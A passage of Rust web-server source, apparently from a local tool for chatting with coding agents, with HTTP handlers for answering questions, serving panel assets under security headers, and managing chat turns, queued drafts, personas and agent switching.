5800) -> ApiResult<Json<QuestionView>> {
5801 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5802 let answer = match (body.choice, body.text) {
5803 (Some(c), None) => Answer::Choice(c),
5804 (None, Some(t)) => Answer::Text(t),
5805 (Some(_), Some(_)) => {
5806 return Err(ApiError::bad_request(
5807 "send either `choice` or `text`, not both",
5808 ));
5809 }
5810 (None, None) => {
5811 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5812 }
5813 };
5814
5815 blocking(move || {
5816 let id = resolve_question(&ui.questions, &id)?;
5817 let q = ui
5818 .questions
5819 .get(&id)
5820 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5821 if !q.status.open() {
5822 return Err(ApiError::conflict(format!(
5826 "question {} is already {}",
5827 q.short(),
5828 q.status.as_str()
5829 )));
5830 }
5831 let (q, ()) = ui
5835 .questions
5836 .update(&q.id, |r| r.answer(answer))
5837 .map_err(ApiError::bad_request_from)?;
5838 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5839 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5840 Ok(Json(
5841 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5842 ))
5843 })
5844 .await
5845}
5846
5847#[derive(Debug, Deserialize)]
5849#[serde(deny_unknown_fields)]
5850struct NewSay {
5851 body: String,
5852}
5853
5854async fn question_say(
5864 State(ui): State<Arc<Ui>>,
5865 Path(id): Path<String>,
5866 body: std::result::Result<Json<NewSay>, JsonRejection>,
5867) -> ApiResult<Json<QuestionView>> {
5868 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5869 blocking(move || {
5870 let id = resolve_question(&ui.questions, &id)?;
5871 let q = ui
5872 .questions
5873 .get(&id)
5874 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5875 if !q.status.open() {
5876 return Err(ApiError::conflict(format!(
5880 "question {} is already {}",
5881 q.short(),
5882 q.status.as_str()
5883 )));
5884 }
5885 let (q, ()) = ui
5888 .questions
5889 .update(&q.id, |r| r.say(body.body))
5890 .map_err(ApiError::bad_request_from)?;
5891 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5892 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5893 Ok(Json(
5894 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5895 ))
5896 })
5897 .await
5898}
5899
5900async fn question_consult(
5909 State(ui): State<Arc<Ui>>,
5910 Path(id): Path<String>,
5911) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5912 let (view, reclaimed) = blocking({
5913 let ui = Arc::clone(&ui);
5914 move || {
5915 let id = resolve_question(&ui.questions, &id)?;
5916 let q = ui
5917 .questions
5918 .get(&id)
5919 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5920 if !q.status.open() {
5921 return Err(ApiError::conflict(format!(
5922 "question {} is already {}",
5923 q.short(),
5924 q.status.as_str()
5925 )));
5926 }
5927 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5928 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5929 return Err(ApiError::conflict(format!(
5930 "question {} has no chat to ask",
5931 q.short()
5932 )));
5933 };
5934 let cfg = if q.consult.is_none() {
5938 Some(Config::discover(&talk.repo, None)?.0)
5939 } else {
5940 None
5941 };
5942 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5943 let claim = if fresh {
5944 match ui.begin_queued_talk_turn(&talk.id)? {
5945 Some(turn_guard) => {
5946 let talk = ui.talks.get(&talk.id)?;
5947 let cfg = match cfg {
5948 Some(cfg) => cfg,
5949 None => Config::discover(&talk.repo, None)?.0,
5950 };
5951 Some((talk, cfg, turn_guard))
5952 }
5953 None => None,
5954 }
5955 } else {
5956 None
5957 };
5958 let q = ui.questions.get(&q.id)?;
5959 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5960 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5961 Ok((view, claim))
5962 }
5963 })
5964 .await?;
5965 if let Some((talk, cfg, turn_guard)) = reclaimed {
5966 let talks = ui.talks.clone();
5967 let id = talk.id.clone();
5968 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5969 }
5970 Ok((StatusCode::ACCEPTED, Json(view)))
5971}
5972
5973fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5975 if store.path_of(id).is_file() {
5976 return Ok(id.to_owned());
5977 }
5978 pick(
5979 store.list().into_iter().map(|q| q.id).collect(),
5980 id,
5981 "question",
5982 )
5983}
5984
5985async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6000 blocking(move || {
6001 let id = resolve_question(&ui.questions, &id)?;
6002 let Some(html) = ui.questions.panel_html(&id) else {
6003 return Err(ApiError::not_found(format!("question {id} has no panel")));
6004 };
6005 Ok(panel_response(
6006 "text/html; charset=utf-8",
6007 false,
6008 html.into_bytes(),
6009 ))
6010 })
6011 .await
6012}
6013
6014async fn question_asset(
6042 State(ui): State<Arc<Ui>>,
6043 Path((id, name)): Path<(String, String)>,
6044) -> ApiResult<Response> {
6045 if !crate::ask::valid_asset_name(&name) {
6048 return Err(ApiError::bad_request(format!(
6049 "`{name}` is not a usable asset name"
6050 )));
6051 }
6052 blocking(move || {
6053 let id = resolve_question(&ui.questions, &id)?;
6054 let asset = ui
6055 .questions
6056 .panel_asset(&id, &name)
6057 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6058 let Some(bytes) = asset else {
6059 return Err(ApiError::not_found(format!(
6060 "question {id} has no asset `{name}`"
6061 )));
6062 };
6063 Ok(panel_response(
6064 asset_content_type(&name),
6065 is_svg(&name),
6066 bytes,
6067 ))
6068 })
6069 .await
6070}
6071
6072fn asset_content_type(name: &str) -> &'static str {
6085 match extension(name).as_deref() {
6086 Some("png") => "image/png",
6087 Some("jpg" | "jpeg") => "image/jpeg",
6088 Some("gif") => "image/gif",
6089 Some("webp") => "image/webp",
6090 Some("svg") => "image/svg+xml",
6091 Some("css") => "text/css; charset=utf-8",
6092 Some("txt") => "text/plain; charset=utf-8",
6093 _ => "application/octet-stream",
6094 }
6095}
6096
6097fn is_svg(name: &str) -> bool {
6100 extension(name).as_deref() == Some("svg")
6101}
6102
6103fn extension(name: &str) -> Option<String> {
6105 name.rsplit_once('.')
6106 .map(|(_, ext)| ext.to_ascii_lowercase())
6107}
6108
6109fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6126 let mut res = (
6127 [
6128 (header::CONTENT_TYPE, content_type),
6129 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6130 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6131 (header::REFERRER_POLICY, "no-referrer"),
6132 ],
6133 body,
6134 )
6135 .into_response();
6136 if download {
6137 res.headers_mut().insert(
6138 header::CONTENT_DISPOSITION,
6139 HeaderValue::from_static("attachment"),
6140 );
6141 }
6142 res
6143}
6144
6145#[derive(Debug, Serialize)]
6151struct TalkView {
6152 #[serde(flatten)]
6153 talk: Talk,
6154 turn_bodies_md: Vec<Vec<md::Node>>,
6155 thinking: bool,
6163 context: talk::ContextUsage,
6167 operator_name: Option<String>,
6170 persona_name: Option<String>,
6172}
6173
6174impl TalkView {
6175 fn new(talk: Talk, thinking: bool) -> Self {
6178 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6179 Self::with_config(talk, thinking, cfg.as_ref())
6180 }
6181
6182 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6185 let context = talk::context_usage(&talk, cfg);
6186 let turn_bodies_md = talk
6187 .turns
6188 .iter()
6189 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6190 .collect();
6191 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6192 let persona_name = persona::find(specs, &talk.persona)
6193 .filter(|p| !p.is_default())
6194 .map(|p| p.name);
6195 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6196 Self {
6197 turn_bodies_md,
6198 thinking,
6199 context,
6200 operator_name,
6201 persona_name,
6202 talk,
6203 }
6204 }
6205}
6206
6207#[derive(Debug, Serialize)]
6212struct TalkDetailView {
6213 #[serde(flatten)]
6214 view: TalkView,
6215 tasks: Vec<TaskView>,
6216 roster: Vec<RosterEntry>,
6219 personas: Vec<PersonaEntry>,
6222}
6223
6224#[derive(Debug, Serialize)]
6226struct PersonaEntry {
6227 id: String,
6228 name: String,
6229}
6230
6231#[derive(Debug, Serialize)]
6233struct RosterEntry {
6234 id: String,
6235 kind: AgentKind,
6236 runnable: bool,
6238}
6239
6240async fn talks_list(
6245 State(ui): State<Arc<Ui>>,
6246 Query(q): Query<ListQuery>,
6247) -> ApiResult<Json<Vec<TalkView>>> {
6248 blocking(move || {
6249 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6250 Ok(Json(
6251 ui.talks
6252 .list()
6253 .into_iter()
6254 .filter(|talk| q.contains(&talk.id))
6255 .map(|talk| {
6256 let thinking = ui.is_thinking(&talk.id);
6257 let cfg = configs
6258 .entry(talk.repo.clone())
6259 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6260 TalkView::with_config(talk, thinking, cfg.as_ref())
6261 })
6262 .collect(),
6263 ))
6264 })
6265 .await
6266}
6267
6268#[derive(Debug, Default, Deserialize)]
6273#[serde(default)]
6274struct NewTalk {
6275 agent: Option<String>,
6276 repo: Option<PathBuf>,
6277}
6278
6279async fn talk_post(
6282 State(ui): State<Arc<Ui>>,
6283 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6284) -> ApiResult<impl IntoResponse> {
6285 let body = match body {
6289 Ok(Json(body)) => body,
6290 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6291 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6292 };
6293 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6294 let cfg = config_for(&repo).await?;
6295 let view = blocking(move || {
6296 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6297 let thinking = ui.is_thinking(&talk.id);
6298 Ok(TalkView::new(talk, thinking))
6299 })
6300 .await?;
6301 Ok((StatusCode::CREATED, Json(view)))
6302}
6303
6304async fn talk_detail(
6306 State(ui): State<Arc<Ui>>,
6307 Path(id): Path<String>,
6308) -> ApiResult<Json<TalkDetailView>> {
6309 blocking(move || {
6310 let id = resolve_talk(&ui.talks, &id)?;
6311 let talk = ui.talks.get(&id)?;
6312 let thinking = ui.is_thinking(&talk.id);
6313 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6314 .into_iter()
6315 .map(TaskView::from)
6316 .collect();
6317 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6318 let roster = cfg
6319 .as_ref()
6320 .map(|cfg| {
6321 cfg.agents
6322 .iter()
6323 .map(|a| RosterEntry {
6324 id: a.id.clone(),
6325 kind: a.kind,
6326 runnable: agent::installed(a),
6327 })
6328 .collect()
6329 })
6330 .unwrap_or_default();
6331 let specs = cfg
6332 .as_ref()
6333 .map(|cfg| cfg.talk.personas.clone())
6334 .unwrap_or_default();
6335 let personas = persona::catalog(&specs)
6336 .into_iter()
6337 .map(|p| PersonaEntry {
6338 id: p.id,
6339 name: p.name,
6340 })
6341 .collect();
6342 Ok(Json(TalkDetailView {
6343 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6344 tasks,
6345 roster,
6346 personas,
6347 }))
6348 })
6349 .await
6350}
6351
6352#[derive(Debug, Default, Deserialize)]
6358#[serde(default, deny_unknown_fields)]
6359struct NewTalkTurn {
6360 text: String,
6361 attachments: Vec<String>,
6362}
6363
6364#[derive(Debug, Deserialize)]
6365#[serde(deny_unknown_fields)]
6366struct EditTalkPending {
6367 text: String,
6368 expected_text: String,
6369 expected_attachments: Vec<String>,
6370}
6371
6372#[derive(Debug, Deserialize)]
6373#[serde(deny_unknown_fields)]
6374struct ClearTalkPending {
6375 expected_text: String,
6376 expected_attachments: Vec<String>,
6377}
6378
6379async fn talk_say(
6391 State(ui): State<Arc<Ui>>,
6392 Path(id): Path<String>,
6393 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6394) -> ApiResult<(StatusCode, Json<TalkView>)> {
6395 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6396 if body.text.trim().is_empty() && body.attachments.is_empty() {
6397 return Err(ApiError::bad_request("say something"));
6398 }
6399
6400 let id = {
6401 let ui = Arc::clone(&ui);
6402 let asked = id.clone();
6403 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6404 };
6405 {
6409 let ui = Arc::clone(&ui);
6410 let id = id.clone();
6411 blocking(move || {
6412 let talk = ui.talks.get(&id)?;
6413 if !talk.status.open() {
6414 return Err(ApiError::conflict(format!(
6415 "talk {} is {} and takes no more turns",
6416 talk.short(),
6417 talk.status.as_str()
6418 )));
6419 }
6420 Ok(())
6421 })
6422 .await?;
6423 }
6424
6425 let attachments = {
6430 let ui = Arc::clone(&ui);
6431 let id = id.clone();
6432 let ids = body.attachments.clone();
6433 blocking(move || {
6434 ids.into_iter()
6435 .map(|att_id| {
6436 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6437 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6438 })
6439 })
6440 .collect::<ApiResult<Vec<talk::Attachment>>>()
6441 })
6442 .await?
6443 };
6444
6445 let start = {
6450 let ui = Arc::clone(&ui);
6451 let id = id.clone();
6452 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6453 };
6454 let turn_guard = match start {
6455 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6456 TalkTurnStart::Pending => {
6457 return Err(ApiError::conflict(
6458 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6459 ));
6460 }
6461 TalkTurnStart::Foreign => {
6462 return Err(ApiError::conflict(
6463 "a turn is already running in another process; try again when it has finished",
6464 ));
6465 }
6466 TalkTurnStart::Busy => {
6467 let (tx, rx) = tokio::sync::oneshot::channel();
6483 tokio::spawn({
6484 let ui = Arc::clone(&ui);
6485 let id = id.clone();
6486 let said = body.text.clone();
6487 async move {
6488 let written = blocking({
6489 let ui = Arc::clone(&ui);
6490 let id = id.clone();
6491 move || {
6492 let mut talk = ui.talks.get(&id)?;
6493 #[cfg(test)]
6498 if let Some(gate) = ui
6499 .busy_queue_gate
6500 .lock()
6501 .unwrap_or_else(PoisonError::into_inner)
6502 .take()
6503 {
6504 let _ = gate.reached.send(());
6505 let _ = gate.release.recv();
6506 }
6507 if let Err(error) =
6508 talk::queue(&mut talk, &ui.talks, &said, attachments)
6509 {
6510 if let Ok(fresh) = ui.talks.get(&id) {
6511 if !fresh.status.open() {
6512 return Err(ApiError::conflict(format!(
6513 "talk {} is {} and takes no more turns",
6514 fresh.short(),
6515 fresh.status.as_str()
6516 )));
6517 }
6518 }
6519 return Err(ApiError::from(error));
6520 }
6521 let claim = match ui.begin_queued_talk_turn(&id)? {
6532 Some(turn_guard) => {
6533 let (cfg, _) = Config::discover(&talk.repo, None)?;
6534 Some((talk.clone(), cfg, turn_guard))
6535 }
6536 None => None,
6537 };
6538 let thinking = ui.is_thinking(&id);
6539 Ok((TalkView::new(talk, thinking), claim))
6540 }
6541 })
6542 .await;
6543 let (view, reclaimed) = match written {
6544 Ok(pair) => pair,
6545 Err(e) => {
6546 let _ = tx.send(Err(e));
6551 return;
6552 }
6553 };
6554 let _ = tx.send(Ok(view));
6557 if let Some((talk, cfg, turn_guard)) = reclaimed {
6558 let talks = ui.talks.clone();
6559 drain_loop(talk, talks, cfg, id, turn_guard).await;
6560 }
6561 }
6562 });
6563 let view = rx
6564 .await
6565 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6566 return Ok((StatusCode::ACCEPTED, Json(view)));
6567 }
6568 };
6569
6570 let (talk, cfg) = {
6571 let ui = Arc::clone(&ui);
6572 let id = id.clone();
6573 blocking(move || {
6574 let talk = ui.talks.get(&id)?;
6575 let (cfg, _) = Config::discover(&talk.repo, None)?;
6576 Ok((talk, cfg))
6577 })
6578 .await?
6579 };
6580
6581 let talks = ui.talks.clone();
6582 let (tx, rx) = tokio::sync::oneshot::channel();
6597 tokio::spawn({
6598 let ui = Arc::clone(&ui);
6599 let talks = talks.clone();
6600 let id = id.clone();
6601 let said = body.text.clone();
6602 let mut talk = talk.clone();
6603 async move {
6604 let recorded = blocking({
6605 let talks = talks.clone();
6606 move || {
6607 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6608 if let Ok(fresh) = talks.get(&talk.id) {
6609 if !fresh.status.open() {
6610 return Err(ApiError::conflict(format!(
6611 "talk {} is {} and takes no more turns",
6612 fresh.short(),
6613 fresh.status.as_str()
6614 )));
6615 }
6616 }
6617 return Err(ApiError::from(error));
6618 }
6619 Ok((said.trim().to_owned(), talk))
6625 }
6626 })
6627 .await;
6628 let (text, mut talk) = match recorded {
6629 Ok(pair) => pair,
6630 Err(e) => {
6631 let _ = tx.send(Err(e));
6635 return;
6636 }
6637 };
6638 let queued = talk.clone();
6639 let thinking = ui.is_thinking(&id);
6640 let _ = tx.send(Ok((queued, thinking)));
6643
6644 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6645 tracing::warn!("talk {id} turn failed: {e:#}");
6649 }
6650 drain_loop(talk, talks, cfg, id, turn_guard).await;
6653 }
6654 });
6655
6656 let (queued, thinking) = rx
6657 .await
6658 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6659
6660 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6662}
6663
6664async fn talk_pending_resume(
6668 State(ui): State<Arc<Ui>>,
6669 Path(id): Path<String>,
6670) -> ApiResult<(StatusCode, Json<TalkView>)> {
6671 let id = {
6672 let ui = Arc::clone(&ui);
6673 let asked = id.clone();
6674 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6675 };
6676 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6677 return Err(ApiError::conflict(
6678 "a talk turn is already running; the queued draft will be handled by it",
6679 ));
6680 };
6681 let (talk, cfg) = {
6682 let ui = Arc::clone(&ui);
6683 let id = id.clone();
6684 blocking(move || {
6685 let talk = ui.talks.get(&id)?;
6686 if !talk.status.open() {
6687 return Err(ApiError::conflict(format!(
6688 "talk {} is {} and takes no more turns",
6689 talk.short(),
6690 talk.status.as_str()
6691 )));
6692 }
6693 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6694 return Err(ApiError::conflict("there is no queued draft to resume"));
6695 }
6696 let (cfg, _) = Config::discover(&talk.repo, None)?;
6697 Ok((talk, cfg))
6698 })
6699 .await?
6700 };
6701 let view = TalkView::new(talk.clone(), true);
6702 let talks = ui.talks.clone();
6703 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6704 Ok((StatusCode::ACCEPTED, Json(view)))
6705}
6706
6707async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6723 let live_set = Arc::clone(&turn.turns);
6724 let mut turn = Some(turn);
6732 loop {
6733 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6734 tracing::warn!("talk {id} lost its turn lease; not draining further");
6737 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6738 if let Some(turn) = turn.take() {
6739 turn.release(&mut live);
6740 }
6741 break;
6742 }
6743 {
6744 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6747 if live.parking {
6748 if let Some(turn) = turn.take() {
6749 turn.release(&mut live);
6750 }
6751 break;
6752 }
6753 }
6754 let observed = live_set
6758 .lock()
6759 .unwrap_or_else(PoisonError::into_inner)
6760 .queued
6761 .get(&id)
6762 .copied()
6763 .unwrap_or(0);
6764 let drained = blocking({
6765 let talks = talks.clone();
6766 let live_set = Arc::clone(&live_set);
6767 move || {
6768 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6773 let result = if live.parking {
6774 Ok(None)
6775 } else {
6776 talk::drain(&mut talk, &talks)
6777 };
6778 drop(live);
6779 Ok((talk, result))
6780 }
6781 })
6782 .await;
6783 let (next_talk, result) = match drained {
6784 Ok(drained) => drained,
6785 Err(e) => {
6786 tracing::warn!(
6787 status = %e.status,
6788 message = %e.message,
6789 "talk {id} could not start queued-text drain"
6790 );
6791 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6792 turn.take()
6793 .expect("held for the whole loop until released here")
6794 .release(&mut live);
6795 break;
6796 }
6797 };
6798 talk = next_talk;
6799 let drained = match result {
6800 Ok(Some(drained)) => drained,
6801 Ok(None) => {
6802 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6803 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6804 continue;
6805 }
6806 turn.take()
6807 .expect("held for the whole loop until released here")
6808 .release(&mut live);
6809 break;
6810 }
6811 Err(e) => {
6812 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6813 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6814 turn.take()
6815 .expect("held for the whole loop until released here")
6816 .release(&mut live);
6817 break;
6818 }
6819 };
6820 let responded = match turn.as_ref() {
6821 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6822 None => Err(anyhow::anyhow!("the turn guard was released")),
6823 };
6824 if let Err(e) = responded {
6825 tracing::warn!("talk {id} turn failed: {e:#}");
6826 }
6827 }
6828}
6829
6830async fn talk_pending_clear(
6832 State(ui): State<Arc<Ui>>,
6833 Path(id): Path<String>,
6834 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6835) -> ApiResult<Json<TalkView>> {
6836 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6837 blocking(move || {
6838 let id = resolve_talk(&ui.talks, &id)?;
6839 let mut talk = ui.talks.get(&id)?;
6840 if !talk.status.open() {
6841 return Err(ApiError::conflict(format!(
6842 "talk {} is {} and takes no more turns",
6843 talk.short(),
6844 talk.status.as_str()
6845 )));
6846 }
6847 if !talk::clear_pending_if_matches(
6848 &mut talk,
6849 &ui.talks,
6850 &body.expected_text,
6851 &body.expected_attachments,
6852 )? {
6853 return Err(ApiError::conflict(
6854 "queued message changed; reload it before clearing",
6855 ));
6856 }
6857 let thinking = ui.is_thinking(&talk.id);
6858 Ok(Json(TalkView::new(talk, thinking)))
6859 })
6860 .await
6861}
6862
6863async fn talk_pending_edit(
6867 State(ui): State<Arc<Ui>>,
6868 Path(id): Path<String>,
6869 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6870) -> ApiResult<Json<TalkView>> {
6871 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6872 let (view, reclaimed) = blocking({
6873 let ui = Arc::clone(&ui);
6874 move || {
6875 let id = resolve_talk(&ui.talks, &id)?;
6876 let mut talk = ui.talks.get(&id)?;
6877 if !talk.status.open() {
6878 return Err(ApiError::conflict(format!(
6879 "talk {} is {} and takes no more turns",
6880 talk.short(),
6881 talk.status.as_str()
6882 )));
6883 }
6884 if !talk::edit_pending_text(
6885 &mut talk,
6886 &ui.talks,
6887 &body.text,
6888 &body.expected_text,
6889 &body.expected_attachments,
6890 )? {
6891 return Err(ApiError::conflict(
6892 "queued message changed; reload it before editing",
6893 ));
6894 }
6895 let claim = match ui.begin_queued_talk_turn(&id)? {
6896 Some(turn_guard) => {
6897 let (cfg, _) = Config::discover(&talk.repo, None)?;
6898 Some((talk.clone(), cfg, id.clone(), turn_guard))
6899 }
6900 None => None,
6901 };
6902 let thinking = ui.is_thinking(&id);
6903 Ok((TalkView::new(talk, thinking), claim))
6904 }
6905 })
6906 .await?;
6907 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6908 let talks = ui.talks.clone();
6909 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6910 }
6911 Ok(Json(view))
6912}
6913
6914#[derive(Debug, Deserialize)]
6916struct TalkAgent {
6917 agent: String,
6918}
6919
6920async fn talk_agent(
6925 State(ui): State<Arc<Ui>>,
6926 Path(id): Path<String>,
6927 Json(body): Json<TalkAgent>,
6928) -> ApiResult<Json<TalkView>> {
6929 let id = {
6930 let ui = Arc::clone(&ui);
6931 blocking(move || resolve_talk(&ui.talks, &id)).await?
6932 };
6933 let repo = {
6934 let ui = Arc::clone(&ui);
6935 let id = id.clone();
6936 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6937 };
6938 let cfg = config_for(&repo).await?;
6939 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6940 return Err(ApiError::conflict(
6941 "a talk turn is running; change the agent once it has answered",
6942 ));
6943 };
6944 let switched = {
6945 let ui = Arc::clone(&ui);
6946 let id = id.clone();
6947 let cfg = cfg.clone();
6948 blocking(move || {
6949 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6950 .map_err(ApiError::bad_request_from)?;
6951 let mut talk = ui.talks.get(&id)?;
6952 if !talk.status.open() {
6953 return Err(ApiError::conflict(format!(
6954 "talk {} is {} and takes no more turns",
6955 talk.short(),
6956 talk.status.as_str()
6957 )));
6958 }
6959 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6960 Ok(talk)
6961 })
6962 .await
6963 };
6964 let fresh = {
6969 let ui = Arc::clone(&ui);
6970 let id = id.clone();
6971 blocking(move || Ok(ui.talks.get(&id)?)).await
6972 };
6973 let draining = match fresh {
6974 Ok(talk) => {
6975 let draining = talk.status.open()
6976 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6977 let talks = ui.talks.clone();
6978 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6979 draining
6980 }
6981 Err(_) => false,
6982 };
6983 let talk = switched?;
6984 Ok(Json(TalkView::new(talk, draining)))
6985}
6986
6987#[derive(Debug, Deserialize)]
6989struct TalkPersona {
6990 persona: String,
6991}
6992
6993async fn talk_persona(
6997 State(ui): State<Arc<Ui>>,
6998 Path(id): Path<String>,
6999 Json(body): Json<TalkPersona>,
7000) -> ApiResult<Json<TalkView>> {
7001 let id = {
7002 let ui = Arc::clone(&ui);
7003 blocking(move || resolve_talk(&ui.talks, &id)).await?
7004 };
7005 let repo = {
7006 let ui = Arc::clone(&ui);
7007 let id = id.clone();
7008 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7009 };
7010 let cfg = config_for(&repo).await?;
7011 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7012 return Err(ApiError::conflict(
7013 "a talk turn is running; change the persona once it has answered",
7014 ));
7015 };
7016 let switched = {
7017 let ui = Arc::clone(&ui);
7018 let id = id.clone();
7019 let cfg = cfg.clone();
7020 blocking(move || {
7021 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7022 return Err(ApiError::bad_request(format!(
7023 "unknown persona `{}`",
7024 body.persona
7025 )));
7026 };
7027 let mut talk = ui.talks.get(&id)?;
7028 if !talk.status.open() {
7029 return Err(ApiError::conflict(format!(
7030 "talk {} is {} and takes no more turns",
7031 talk.short(),
7032 talk.status.as_str()
7033 )));
7034 }
7035 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7036 Ok(talk)
7037 })
7038 .await
7039 };
7040 let fresh = {
7042 let ui = Arc::clone(&ui);
7043 let id = id.clone();
7044 blocking(move || Ok(ui.talks.get(&id)?)).await
7045 };
7046 let draining = match fresh {
7047 Ok(talk) => {
7048 let draining = talk.status.open()
7049 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7050 let talks = ui.talks.clone();
7051 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7052 draining
7053 }
7054 Err(_) => false,
7055 };
7056 let talk = switched?;
7057 Ok(Json(TalkView::new(talk, draining)))
7058}
7059
7060async fn talk_close(
7062 State(ui): State<Arc<Ui>>,
7063 Path(id): Path<String>,
7064) -> ApiResult<Json<TalkView>> {
7065 blocking(move || {
7066 let id = resolve_talk(&ui.talks, &id)?;
7067 let mut talk = ui.talks.get(&id)?;
7068 talk::close(&mut talk, &ui.talks)?;
7069 let thinking = ui.is_thinking(&talk.id);
7070 Ok(Json(TalkView::new(talk, thinking)))
7071 })
7072 .await
7073}
7074
7075async fn talk_reopen(
7077 State(ui): State<Arc<Ui>>,
7078 Path(id): Path<String>,
7079) -> ApiResult<Json<TalkView>> {
7080 blocking(move || {
7081 let id = resolve_talk(&ui.talks, &id)?;
7082 let mut talk = ui.talks.get(&id)?;
7083 talk::reopen(&mut talk, &ui.talks)?;
7084 let thinking = ui.is_thinking(&talk.id);
7085 Ok(Json(TalkView::new(talk, thinking)))
7086 })
7087 .await
7088}
7089
7090async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7100 blocking(move || {
7101 let id = resolve_talk(&ui.talks, &id)?;
7102 ui.talks.remove(&id)?;
7103 Ok(StatusCode::NO_CONTENT)
7104 })
7105 .await
7106}
7107
7108fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7110 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7111}
7112
7113async fn talk_attachment_post(
7116 State(ui): State<Arc<Ui>>,
7117 Path(id): Path<String>,
7118 headers: HeaderMap,
7119 body: Bytes,
7120) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7121 let mime = validate_attachment(&headers, &body)?;
7122 let name = filename_header(&headers);
7123 let data = body.to_vec();
7124 blocking(move || {
7125 let id = resolve_talk(&ui.talks, &id)?;
